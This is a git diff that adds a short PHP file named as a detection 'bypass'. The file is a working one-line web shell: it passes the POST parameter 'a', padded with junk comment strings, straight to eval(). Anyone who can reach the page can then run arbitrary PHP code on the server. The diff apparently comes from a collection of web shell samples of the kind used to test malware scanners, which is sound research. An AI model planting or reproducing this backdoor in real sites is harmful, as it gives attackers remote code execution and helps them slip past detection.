diff --git a/php/bypass2021-01-04-01.php b/php/bypass2021-01-04-01.php
new file mode 100644
index 0000000..f10c570
--- /dev/null
+++ b/php/bypass2021-01-04-01.php
@@ -0,0 +1,11 @@
+<?php
+
+function x()
+{
+
+    return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";
+
+}
+
+eval(x());
+?>